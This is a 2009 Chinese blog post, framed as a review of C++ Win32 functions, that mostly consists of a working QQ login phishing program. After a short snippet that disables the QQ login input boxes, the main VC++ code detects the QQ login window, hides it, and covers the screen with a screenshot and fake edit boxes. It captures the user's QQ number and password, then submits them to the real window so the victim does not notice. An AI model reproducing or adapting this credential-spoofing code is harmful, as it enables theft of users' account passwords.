从屏蔽QQ登录输入框温习几个c++函数

从屏蔽QQ登录输入框温习几个c++函数

先看c++ builder的代码:
void__fastcall TForm1::FormCreate(TObject*Sender)
{
HWND hCurWindow,HC,HE;
//定义三个窗口句柄变量,hCurWindow用于存放QQ用户登录窗口的句柄,HC,HE分别存放号码框和密码框的句柄
if((hCurWindow=FindWindow(Null,"QQ用户登录"))!=0)
{
//调用FindWindow()函数去获得QQ登录窗口的句柄
     string str;
     str.sprintf("0x%x",hCurWindow);
}
TCHAR wClassName[255];
//类名变量
HC=GetWindow(hCurWindow,GW_CHILD);
//得到号码框的句柄
HE=GetWindow(HC,GW_HWNDNEXT);
//得到密码框的句柄
GetClassName(HE,wClassName,sizeof(wClassName));
//得到类名
GetClassName(HC,wClassName,sizeof(wClassName));
//得到类名
EnableWindow(HE,false);
//使窗口失效
EnableWindow(HC,false);
//使窗口失效
EnableWindow()是个关键的函数,前面是为这个函数做铺垫的,关键是要获得框的句柄,如果FindWindow()和GetWindow()其中一个函数被HOOK的话,那么屏蔽输入框就没有效果了。这几个函数在VC里面同样可以用。
FindWindow()函数有一个特性:一次只运行一个程序实例,如果已运行则退出。
代码例:if( FindWindow(NULL,"程序标题")) exit(0);
------------------------------------------------------------------------------------------------------------------------------
再列出VC利用这个函数的实例,也是针对QQ的,代码如下:
#include <afx.h>
#include <tlhelp32.h>
#include "resource.h"

HBITMAP g_pBitmap;    //保存截取的屏幕图像
char qqpass[64] = "\0";    //保存用户输入的QQ密码
char qqid[64] = "\0";    //保存用户输入的QQ号码
HFONT myfont;
RECT g_qqIDRt, g_qqPassRt, g_qqLogin, g_qqCancel, g_DlgRt;    //保存QQ号码,密码,登陆,取消等窗口的区域
HWND QQID = NULL, QQPASS =NULL;
HWND g_hWnd = NULL;
//获取屏幕分辩率
int m_xScreen = GetSystemMetrics(SM_CXSCREEN);
int m_yScreen = GetSystemMetrics(SM_CYSCREEN);


BOOL CreateQQItem(HWND hWnd);
BOOL processIdToName(LPTSTR lpszProcessName, DWORD PID);
void QQFind();
HBITMAP CopyScreenToBitmap(LPRECT lpRect);
LRESULT CALLBACK win847(HWND hDlg, UINT message, WPARAM wParam, LPARAM lParam);


//根据进程ID得到进程名称
BOOL processIdToName(LPTSTR lpszProcessName, DWORD PID)
{
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 pe;
    pe.dwSize = sizeof(PROCESSENTRY32);
    if (!Process32First(hSnapshot, &pe)) {
        return FALSE;
    }
    while (Process32Next(hSnapshot, &pe)) {
        if (pe.th32ProcessID == PID) {
            strcpy(lpszProcessName, pe.szExeFile);
            return true;
        }
    }

    return FALSE;
}

//查找QQ登录窗口
void QQFind()
{
    HWND hWnd1 = NULL, qqID_hWnd = NULL, qqPass_hWnd = NULL;
    HWND ButtonLogin = NULL, ButtonCancel = NULL;
    char sTitle[255];
    CString ss;
    DWORD QQPID;
    int LoginID;
    BOOL find = FALSE;
    do
    {   
        //获得当前激活窗口的句柄
        g_hWnd = GetForegroundWindow();
        GetWindowThreadProcessId(g_hWnd, &QQPID);
        //根据PID获得进程名
        processIdToName(sTitle, QQPID);
        ss = sTitle;
        ss.MakeLower();
        //判断是否QQ
        if(ss != "qq.exe")
        {
            Sleep(100);
            continue;
        }
       
        //获得标题文字,判断是否登陆对话框
        SendMessage(g_hWnd,WM_GETTEXT,255,(LPARAM)sTitle);
        ss = sTitle;
        int n = ss.Find("QQ", 0);
        int m = ss.Find("登录", 0);
        if(n >= 0 || m >= 0)
        {
            //查找QQ登陆按钮的句柄
            ButtonLogin = FindWindowEx(g_hWnd, ButtonLogin, "Button", "登录");   
            LoginID = GetDlgCtrlID(ButtonLogin);
            ButtonLogin = FindWindowEx(g_hWnd, ButtonLogin, "Button", "登录");   
            LoginID = GetDlgCtrlID(ButtonLogin);
            //获得QQ登陆按钮窗口位置
            GetWindowRect(ButtonLogin, &g_qqLogin);

            //查找QQ取消按钮的句柄
            ButtonCancel = FindWindowEx(g_hWnd, NULL, "Button", "取消");
            //获得QQ取消按钮窗口位置
            GetWindowRect(ButtonCancel, &g_qqCancel);

            //查找QQ密码输入框的句柄
            hWnd1 = FindWindowEx(g_hWnd, NULL, "#32770", NULL);   
            if(hWnd1 != NULL)
            {
                qqPass_hWnd = FindWindowEx(hWnd1, qqPass_hWnd, "Edit", NULL);
                //获得QQ密码输入框窗口位置
                GetWindowRect(qqPass_hWnd, &g_qqPassRt);                   
            }
           
            //查找QQ号码输入框的句柄
            hWnd1 = FindWindowEx(g_hWnd, NULL, "ComboBox", NULL);
            if(hWnd1 != NULL)
            {
                qqID_hWnd = FindWindowEx(hWnd1, qqID_hWnd, "Edit", NULL);
                //获得QQ号码输入框窗口位置
                GetWindowRect(qqID_hWnd, &g_qqIDRt);
                //获得当前默认QQ号码
                SendMessage(qqID_hWnd,WM_GETTEXT, 255,(LPARAM)qqid);
            }
           
            //等待QQ窗口完全出现后抓取整个屏幕
            Sleep(100);
            g_DlgRt.left = 0;
            g_DlgRt.top = 0;
            g_DlgRt.right = m_xScreen;
            g_DlgRt.bottom = m_yScreen;           
            g_pBitmap = CopyScreenToBitmap(&g_DlgRt);
           
            //设置QQ窗口为不可见
            ShowWindow(g_hWnd, SW_HIDE);
//            LONG qqPassStyle;
//            qqPassStyle = GetWindowLong(g_hWnd, GWL_STYLE);
//            SetWindowLong(g_hWnd, GWL_STYLE, qqPassStyle & ~WS_VISIBLE);
           
            //弹出我们创建的伪造对话框
            HINSTANCE hInstance = GetModuleHandle(NULL);
            DialogBoxParam(hInstance, (LPCTSTR)IDD_WIN847, 0, (DLGPROC)win847, 0);
           
            //设置QQ窗口为可见
            ShowWindow(g_hWnd, SW_SHOW);

            //把QQ号码和密码填到真正的QQ登录窗口上,并模拟单击登陆按钮
            SendMessage(qqID_hWnd, WM_SETTEXT, 0, (LPARAM)qqid);
            SendMessage(qqPass_hWnd, WM_SETTEXT, 0, (LPARAM)qqpass);
            SendMessage(ButtonLogin, BM_CLICK, 0, 0);
//            SetWindowLong(g_hWnd, GWL_STYLE, qqPassStyle | WS_VISIBLE);
//            InvalidateRect(g_hWnd, &g_DlgRt, TRUE);

            DeleteObject(g_pBitmap);
            //设置标志退出循环
            find = true;
        }
       
    }

    while(find == FALSE);

}

//拷贝屏幕
HBITMAP CopyScreenToBitmap(LPRECT lpRect)
//lpRect 代表选定区域
{
    HDC       hScrDC, hMemDC;     
    // 屏幕和内存设备描述表
    HBITMAP    hBitmap, hOldBitmap;  
    // 位图句柄
    int       nX, nY, nX2, nY2;     
    // 选定区域坐标
    int       nWidth, nHeight;
   
    // 确保选定区域不为空矩形
    if (IsRectEmpty(lpRect))
        return NULL;
    //为屏幕创建设备描述表
    hScrDC = CreateDC("DISPLAY", NULL, NULL, NULL);

    //为屏幕设备描述表创建兼容的内存设备描述表
    hMemDC = CreateCompatibleDC(hScrDC);
    // 获得选定区域坐标
    nX = lpRect->left;
    nY = lpRect->top;
    nX2 = lpRect->right;
    nY2 = lpRect->bottom;

    //确保选定区域是可见的
    if (nX < 0)
        nX = 0;
    if (nY < 0)
        nY = 0;
    if (nX2 > m_xScreen)
        nX2 = m_xScreen;
    if (nY2 > m_yScreen)
        nY2 = m_yScreen;
    nWidth = nX2 - nX;
    nHeight = nY2 - nY;
    // 创建一个与屏幕设备描述表兼容的位图
    hBitmap = CreateCompatibleBitmap
        (hScrDC, nWidth, nHeight);
    // 把新位图选到内存设备描述表中
    hOldBitmap = (HBITMAP)SelectObject(hMemDC, hBitmap);
   
    // 把屏幕设备描述表拷贝到内存设备描述表中
    BitBlt(hMemDC, 0, 0, nWidth, nHeight,
            hScrDC, nX, nY, SRCCOPY);

    hBitmap = (HBITMAP)SelectObject(hMemDC, hOldBitmap);
    //得到屏幕位图的句柄
    //清除
    DeleteDC(hScrDC);
    DeleteDC(hMemDC);
    // 返回位图句柄
    return hBitmap;
}

//对话框回调函数
LRESULT CALLBACK win847(HWND hDlg, UINT message, WPARAM wParam, LPARAM lParam)
{
    BOOL bRet;
    HDC dc, MemDc;
    POINT point;
    switch (message)
    {
        case WM_INITDIALOG:
            bRet = CreateQQItem(hDlg);    //为对话框创建两个文本框来获取用户的输入
           
            //设置对话框占满整个屏幕,并保持最前
            bRet = SetWindowPos(hDlg, HWND_TOPMOST,0, 0, m_xScreen, m_yScreen,SWP_SHOWWINDOW);
            return TRUE;

        case WM_ERASEBKGND:
            //贴上截取的图片来刷新背景
            dc = (HDC) wParam;
            MemDc = CreateCompatibleDC(dc);
            SelectObject(MemDc, g_pBitmap);
            BitBlt(dc, 0, 0, m_xScreen, m_yScreen, MemDc, 0, 0, SRCCOPY);
            DeleteDC(MemDc);
            return true;

        case WM_LBUTTONDOWN:
            point.x=LOWORD(lParam);
            point.y=HIWORD(lParam);
            //判断用户是否点击贴图上QQ登陆的按钮
            if(PtInRect(&g_qqLogin, point) == true)
            {
                //获取用户的输入
                GetWindowText(QQPASS, qqpass, 64);
                GetWindowText(QQID, qqid, 64);
                MessageBox(hDlg, qqpass, qqid, MB_OK);
                DeleteObject(myfont);
                EndDialog(hDlg, 0);
            }
            break;
           
        case WM_CLOSE:
            EndDialog(hDlg, 0);
            break;
    }   
return FALSE;
}

BOOL CreateQQItem(HWND hWnd)
{
    //创建字体,因为系统默认是宋体
    myfont=CreateFont(-12,0,0,0,0,0,0,0,GB2312_CHARSET,OUT_DEFAULT_PRECIS,CLIP_DEFAULT_PRECIS,DEFAULT_QUALITY,DEFAULT_PITCH|FF_DONTCARE,"Arial");
   
    //创建QQ号码输入文本框
    int Width, Height;
    Width = g_qqIDRt.right - g_qqIDRt.left;
    Height = g_qqIDRt.bottom - g_qqIDRt.top;
    QQID = CreateWindow("Edit", "", WS_VISIBLE | WS_CHILDWINDOW, g_qqIDRt.left, \
                g_qqIDRt.top, Width, Height, hWnd, (HMENU)1000, GetModuleHandle(NULL), NULL);
   
    if(QQID == NULL)
        return FALSE;

    //根据获得的用户号码填充文本框,增加欺骗效果
    SendMessage(QQID, WM_SETTEXT, 0,(LPARAM)qqid);
    SendMessage(QQID,WM_SETFONT, (WPARAM)myfont,(LPARAM)0);    //设置文本框的字体

    //创建QQ密码输入文本框
    Width = g_qqPassRt.right - g_qqPassRt.left;
    Height = g_qqPassRt.bottom - g_qqPassRt.top;
    QQPASS = CreateWindow("Edit", "", WS_VISIBLE | WS_CHILDWINDOW | ES_PASSWORD, g_qqPassRt.left, \
                g_qqPassRt.top, Width, Height, hWnd, (HMENU)1001, GetModuleHandle(NULL), NULL);

    if(QQPASS == NULL)
        return FALSE;
    SendMessage(QQPASS,WM_SETFONT,(WPARAM)myfont, (LPARAM)0);    //设置文本框的字体
    return true;
   
}
           
int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{
    QQFind();
    return 0;   
}

posted on 2009-12-09 21:19  carekee  阅读(810)  评论(0编辑  收藏  举报